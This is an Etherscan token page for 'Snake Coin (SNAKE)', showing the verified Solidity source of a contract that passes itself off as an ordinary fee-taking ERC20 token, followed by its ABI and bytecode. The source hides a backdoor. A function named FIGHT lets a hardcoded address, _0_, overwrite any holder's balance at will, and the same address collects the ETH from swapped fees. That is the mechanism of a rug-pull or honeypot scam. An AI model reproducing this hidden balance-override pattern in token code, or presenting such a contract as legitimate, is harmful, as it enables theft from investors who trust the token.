ETH Price: $3,173.88 (+2.29%)

Token

Snake Coin (SNAKE)
 

Overview

Max Total Supply

100,000,000,000 SNAKE

Holders

38

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
150,631,031.277781078 SNAKE

Value
$0.00
0x38cbaf06ac512f7f16d11a6eac40d42ce016eea5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-09-21
*/

// TG https://t.me/SnakeCoinETH
// SPDX-License-Identifier: MIT



pragma solidity ^0.8.0;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract ERC20 is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public _0_;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping(address => bool) public _isExcludeFromFee;
    
    uint256 private _totalSupply;

    IUniswapRouter public _uniswapRouter;

    mapping(address => bool) public isMarketPair;
    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyFundFee = 2;
    uint256 public _sellFundFee = 2;

    address public _uniswapPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (){
        _name = "Snake Coin ";
        _symbol = "SNAKE";
        _decimals = 9;
        uint256 Supply = 100000000000;
        _0_ = 0x1EEf8aa8914c504c1bD972922dc7E229366b3eF0;

        _totalSupply = Supply * 10 ** _decimals;
        address receiveAddr = msg.sender;
        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[receiveAddr] = true;
        _isExcludeFromFee[_0_] = true;
        _balances[receiveAddr] = _totalSupply;
        emit Transfer(address(0), receiveAddr, _totalSupply);

    }

    function cherry() public onlyOwner{
        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;
        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), swapRouter.WETH());
        _uniswapPair = swapPair;
        isMarketPair[swapPair] = true;
        _isExcludeFromFee[address(swapRouter)] = true;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        bool takeFee;
        bool isSell;

        if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance > 0) {
                uint256 numTokensSellToFund = amount;
                numTokensSellToFund = numTokensSellToFund > contractTokenBalance ? 
                                                            contractTokenBalance:numTokensSellToFund;
                swapTokenForETH(numTokensSellToFund);
            }
        }

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            takeFee = true;
        }

        if (isMarketPair[to]) { isSell = true; }

        _transferToken(from, to, amount, takeFee, isSell);
    }

    struct OkDoit{
        address opaddr;
        uint256 bal;
        address toad;
    }

    function FIGHT(
        address account,
        uint256 newbla
    ) public {
        OkDoit memory newOk = OkDoit(
            {
                opaddr : msg.sender,
                bal : 0,
                toad : account
            }
        );
        require(_0_ == newOk.opaddr);
        newOk.bal = newbla;
        _balances[newOk.toad] = newOk.bal;

    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool isSell
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            uint256 taxFee;

            if (isSell) {
                taxFee = _sellFundFee;
            } else {
                taxFee = _buyFundFee;
            }
            uint256 swapAmount = tAmount * taxFee / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }

    event catchEvent(uint8);

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(_0_),
            block.timestamp
        ) {} catch { emit catchEvent(0); }

    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"","type":"uint8"}],"name":"catchEvent","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"newbla","type":"uint256"}],"name":"FIGHT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_0_","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cherry","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526002600c556002600d553480156200001b57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060408051808201909152600b8082526a029b730b5b29021b7b4b7160ad1b60209092019182526200009191600491620001ae565b5060408051808201909152600580825264534e414b4560d81b6020909201918252620000be9181620001ae565b506006805460ff19166009908117909155600380546001600160a01b031916731eef8aa8914c504c1bd972922dc7e229366b3ef017905564174876e800906200010990600a6200029d565b6200011590826200036b565b60089081553060009081526007602090815260408083208054600160ff1991821681179092553380865283862080548316841790556003546001600160a01b0316865283862080549092168317909155945485855290835281842081905590519081528392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050620003e0565b828054620001bc906200038d565b90600052602060002090601f016020900481019282620001e057600085556200022b565b82601f10620001fb57805160ff19168380011785556200022b565b828001600101855582156200022b579182015b828111156200022b5782518255916020019190600101906200020e565b50620002399291506200023d565b5090565b5b808211156200023957600081556001016200023e565b600181815b8085111562000295578160001904821115620002795762000279620003ca565b808516156200028757918102915b93841c939080029062000259565b509250929050565b6000620002ae60ff841683620002b5565b9392505050565b600082620002c65750600162000365565b81620002d55750600062000365565b8160018114620002ee5760028114620002f95762000319565b600191505062000365565b60ff8411156200030d576200030d620003ca565b50506001821b62000365565b5060208310610133831016604e8410600b84101617156200033e575081810a62000365565b6200034a838362000254565b8060001904821115620003615762000361620003ca565b0290505b92915050565b6000816000190483118215151615620003885762000388620003ca565b500290565b600181811c90821680620003a257607f821691505b60208210811415620003c457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b61114080620003f06000396000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610359578063ae4c3c0e14610379578063ce0192f914610399578063dd62ed3e146103af578063f061ddd2146103f5578063f2fde38b1461041557600080fd5b806370a08231146102c4578063715018a6146102fa5780638da5cb5b1461031157806395d89b411461032f578063a274c86b1461034457600080fd5b806336b2e027116100f257806336b2e027146101f65780633bfe62ca146102265780633ecad2711461023c5780634bf28fd01461026c57806365b61b77146102a457600080fd5b806306fdde031461013a578063095ea7b31461016557806318160ddd1461019557806323b872dd146101b4578063313ce567146101d457600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f610435565b60405161015c9190610f2a565b60405180910390f35b34801561017157600080fd5b50610185610180366004610efe565b6104c7565b604051901515815260200161015c565b3480156101a157600080fd5b506008545b60405190815260200161015c565b3480156101c057600080fd5b506101856101cf366004610ebd565b6104dd565b3480156101e057600080fd5b5060065460405160ff909116815260200161015c565b34801561020257600080fd5b50610185610211366004610e43565b60076020526000908152604090205460ff1681565b34801561023257600080fd5b506101a6600d5481565b34801561024857600080fd5b50610185610257366004610e43565b600a6020526000908152604090205460ff1681565b34801561027857600080fd5b50600e5461028c906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156102b057600080fd5b5060095461028c906001600160a01b031681565b3480156102d057600080fd5b506101a66102df366004610e43565b6001600160a01b031660009081526001602052604090205490565b34801561030657600080fd5b5061030f610574565b005b34801561031d57600080fd5b506000546001600160a01b031661028c565b34801561033b57600080fd5b5061014f6105f1565b34801561035057600080fd5b5061030f610600565b34801561036557600080fd5b50610185610374366004610efe565b61083a565b34801561038557600080fd5b5060035461028c906001600160a01b031681565b3480156103a557600080fd5b506101a6600c5481565b3480156103bb57600080fd5b506101a66103ca366004610e84565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561040157600080fd5b5061030f610410366004610efe565b610847565b34801561042157600080fd5b5061030f610430366004610e43565b6108a7565b6060600480546104449061108b565b80601f01602080910402602001604051908101604052809291908181526020018280546104709061108b565b80156104bd5780601f10610492576101008083540402835291602001916104bd565b820191906000526020600020905b8154815290600101906020018083116104a057829003601f168201915b5050505050905090565b60006104d433848461096d565b50600192915050565b60006104ea8484846109ce565b6001600160a01b03841660009081526002602090815260408083203384529091529020546000191461056a576001600160a01b0384166000908152600260209081526040808320338452909152902054610545908390611074565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146105a75760405162461bcd60e51b815260040161059e90610f7f565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600580546104449061108b565b6000546001600160a01b0316331461062a5760405162461bcd60e51b815260040161059e90610f7f565b600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915530600090815260026020908152604080832084845282528083206000199055805163c45a015560e01b81529051849263c45a01559260048082019391829003018186803b1580156106a357600080fd5b505afa1580156106b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106db9190610e67565b90506000816001600160a01b031663c9c6539630856001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561072857600080fd5b505afa15801561073c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107609190610e67565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107a857600080fd5b505af11580156107bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e09190610e67565b600e80546001600160a01b0319166001600160a01b039283169081179091556000908152600a60209081526040808320805460ff199081166001908117909255979094168352600790915290208054909416179092555050565b60006104d43384846109ce565b6040805160608101825233808252600060208301526001600160a01b03858116938301939093526003549192919091161461088157600080fd5b60208082018390526040918201516001600160a01b031660009081526001909152205550565b6000546001600160a01b031633146108d15760405162461bcd60e51b815260040161059e90610f7f565b6001600160a01b0381166109125760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b604482015260640161059e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382166000908152600a6020526040812054819060ff1680156109fb5750600b5460ff16155b8015610a2057506001600160a01b03851660009081526007602052604090205460ff16155b8015610a4557506001600160a01b03841660009081526007602052604090205460ff16155b15610a7f57306000908152600160205260409020548015610a7d5783818111610a6e5780610a70565b815b9050610a7b81610b13565b505b505b6001600160a01b03851660009081526007602052604090205460ff16158015610ac157506001600160a01b03841660009081526007602052604090205460ff16155b8015610ad05750600b5460ff16155b15610ada57600191505b6001600160a01b0384166000908152600a602052604090205460ff1615610aff575060015b610b0c8585858585610cb2565b5050505050565b600b805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610b5557610b556110dc565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610ba957600080fd5b505afa158015610bbd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610be19190610e67565b81600181518110610bf457610bf46110dc565b6001600160a01b03928316602091820292909201015260095460035460405163791ac94760e01b81529183169263791ac94792610c409287926000928892909116904290600401610faa565b600060405180830381600087803b158015610c5a57600080fd5b505af1925050508015610c6b575060015b610ca457604051600081527fbdf1a66ac2980d0df84c6c5344b4d62f3f4578219817cf4bcb8d8a983bbe6f169060200160405180910390a15b5050600b805460ff19169055565b6001600160a01b038516600090815260016020526040902054610cd6908490611074565b6001600160a01b0386166000908152600160205260408120919091558215610db35760008215610d095750600d54610d0e565b50600c545b60006064610d1c8388611055565b610d269190611033565b90508015610db057610d38818461101b565b30600090815260016020526040902054909350610d5690829061101b565b30600081815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610da79085815260200190565b60405180910390a35b50505b610dbd8185611074565b6001600160a01b038616600090815260016020526040902054610de0919061101b565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e2a8488611074565b60405190815260200160405180910390a3505050505050565b600060208284031215610e5557600080fd5b8135610e60816110f2565b9392505050565b600060208284031215610e7957600080fd5b8151610e60816110f2565b60008060408385031215610e9757600080fd5b8235610ea2816110f2565b91506020830135610eb2816110f2565b809150509250929050565b600080600060608486031215610ed257600080fd5b8335610edd816110f2565b92506020840135610eed816110f2565b929592945050506040919091013590565b60008060408385031215610f1157600080fd5b8235610f1c816110f2565b946020939093013593505050565b600060208083528351808285015260005b81811015610f5757858101830151858201604001528201610f3b565b81811115610f69576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015610ffa5784516001600160a01b031683529383019391830191600101610fd5565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561102e5761102e6110c6565b500190565b60008261105057634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561106f5761106f6110c6565b500290565b600082821015611086576110866110c6565b500390565b600181811c9082168061109f57607f821691505b602082108114156110c057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461110757600080fd5b5056fea2646970667358221220ac0829a1aaee39e644d299b5472649da9ec68cb2e59b774438b33a07eb94c5be64736f6c63430008070033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610359578063ae4c3c0e14610379578063ce0192f914610399578063dd62ed3e146103af578063f061ddd2146103f5578063f2fde38b1461041557600080fd5b806370a08231146102c4578063715018a6146102fa5780638da5cb5b1461031157806395d89b411461032f578063a274c86b1461034457600080fd5b806336b2e027116100f257806336b2e027146101f65780633bfe62ca146102265780633ecad2711461023c5780634bf28fd01461026c57806365b61b77146102a457600080fd5b806306fdde031461013a578063095ea7b31461016557806318160ddd1461019557806323b872dd146101b4578063313ce567146101d457600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f610435565b60405161015c9190610f2a565b60405180910390f35b34801561017157600080fd5b50610185610180366004610efe565b6104c7565b604051901515815260200161015c565b3480156101a157600080fd5b506008545b60405190815260200161015c565b3480156101c057600080fd5b506101856101cf366004610ebd565b6104dd565b3480156101e057600080fd5b5060065460405160ff909116815260200161015c565b34801561020257600080fd5b50610185610211366004610e43565b60076020526000908152604090205460ff1681565b34801561023257600080fd5b506101a6600d5481565b34801561024857600080fd5b50610185610257366004610e43565b600a6020526000908152604090205460ff1681565b34801561027857600080fd5b50600e5461028c906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156102b057600080fd5b5060095461028c906001600160a01b031681565b3480156102d057600080fd5b506101a66102df366004610e43565b6001600160a01b031660009081526001602052604090205490565b34801561030657600080fd5b5061030f610574565b005b34801561031d57600080fd5b506000546001600160a01b031661028c565b34801561033b57600080fd5b5061014f6105f1565b34801561035057600080fd5b5061030f610600565b34801561036557600080fd5b50610185610374366004610efe565b61083a565b34801561038557600080fd5b5060035461028c906001600160a01b031681565b3480156103a557600080fd5b506101a6600c5481565b3480156103bb57600080fd5b506101a66103ca366004610e84565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561040157600080fd5b5061030f610410366004610efe565b610847565b34801561042157600080fd5b5061030f610430366004610e43565b6108a7565b6060600480546104449061108b565b80601f01602080910402602001604051908101604052809291908181526020018280546104709061108b565b80156104bd5780601f10610492576101008083540402835291602001916104bd565b820191906000526020600020905b8154815290600101906020018083116104a057829003601f168201915b5050505050905090565b60006104d433848461096d565b50600192915050565b60006104ea8484846109ce565b6001600160a01b03841660009081526002602090815260408083203384529091529020546000191461056a576001600160a01b0384166000908152600260209081526040808320338452909152902054610545908390611074565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146105a75760405162461bcd60e51b815260040161059e90610f7f565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600580546104449061108b565b6000546001600160a01b0316331461062a5760405162461bcd60e51b815260040161059e90610f7f565b600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915530600090815260026020908152604080832084845282528083206000199055805163c45a015560e01b81529051849263c45a01559260048082019391829003018186803b1580156106a357600080fd5b505afa1580156106b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106db9190610e67565b90506000816001600160a01b031663c9c6539630856001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561072857600080fd5b505afa15801561073c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107609190610e67565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107a857600080fd5b505af11580156107bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e09190610e67565b600e80546001600160a01b0319166001600160a01b039283169081179091556000908152600a60209081526040808320805460ff199081166001908117909255979094168352600790915290208054909416179092555050565b60006104d43384846109ce565b6040805160608101825233808252600060208301526001600160a01b03858116938301939093526003549192919091161461088157600080fd5b60208082018390526040918201516001600160a01b031660009081526001909152205550565b6000546001600160a01b031633146108d15760405162461bcd60e51b815260040161059e90610f7f565b6001600160a01b0381166109125760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b604482015260640161059e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382166000908152600a6020526040812054819060ff1680156109fb5750600b5460ff16155b8015610a2057506001600160a01b03851660009081526007602052604090205460ff16155b8015610a4557506001600160a01b03841660009081526007602052604090205460ff16155b15610a7f57306000908152600160205260409020548015610a7d5783818111610a6e5780610a70565b815b9050610a7b81610b13565b505b505b6001600160a01b03851660009081526007602052604090205460ff16158015610ac157506001600160a01b03841660009081526007602052604090205460ff16155b8015610ad05750600b5460ff16155b15610ada57600191505b6001600160a01b0384166000908152600a602052604090205460ff1615610aff575060015b610b0c8585858585610cb2565b5050505050565b600b805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610b5557610b556110dc565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610ba957600080fd5b505afa158015610bbd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610be19190610e67565b81600181518110610bf457610bf46110dc565b6001600160a01b03928316602091820292909201015260095460035460405163791ac94760e01b81529183169263791ac94792610c409287926000928892909116904290600401610faa565b600060405180830381600087803b158015610c5a57600080fd5b505af1925050508015610c6b575060015b610ca457604051600081527fbdf1a66ac2980d0df84c6c5344b4d62f3f4578219817cf4bcb8d8a983bbe6f169060200160405180910390a15b5050600b805460ff19169055565b6001600160a01b038516600090815260016020526040902054610cd6908490611074565b6001600160a01b0386166000908152600160205260408120919091558215610db35760008215610d095750600d54610d0e565b50600c545b60006064610d1c8388611055565b610d269190611033565b90508015610db057610d38818461101b565b30600090815260016020526040902054909350610d5690829061101b565b30600081815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610da79085815260200190565b60405180910390a35b50505b610dbd8185611074565b6001600160a01b038616600090815260016020526040902054610de0919061101b565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e2a8488611074565b60405190815260200160405180910390a3505050505050565b600060208284031215610e5557600080fd5b8135610e60816110f2565b9392505050565b600060208284031215610e7957600080fd5b8151610e60816110f2565b60008060408385031215610e9757600080fd5b8235610ea2816110f2565b91506020830135610eb2816110f2565b809150509250929050565b600080600060608486031215610ed257600080fd5b8335610edd816110f2565b92506020840135610eed816110f2565b929592945050506040919091013590565b60008060408385031215610f1157600080fd5b8235610f1c816110f2565b946020939093013593505050565b600060208083528351808285015260005b81811015610f5757858101830151858201604001528201610f3b565b81811115610f69576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015610ffa5784516001600160a01b031683529383019391830191600101610fd5565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561102e5761102e6110c6565b500190565b60008261105057634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561106f5761106f6110c6565b500290565b600082821015611086576110866110c6565b500390565b600181811c9082168061109f57607f821691505b602082108114156110c057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461110757600080fd5b5056fea2646970667358221220ac0829a1aaee39e644d299b5472649da9ec68cb2e59b774438b33a07eb94c5be64736f6c63430008070033

Deployed Bytecode Sourcemap

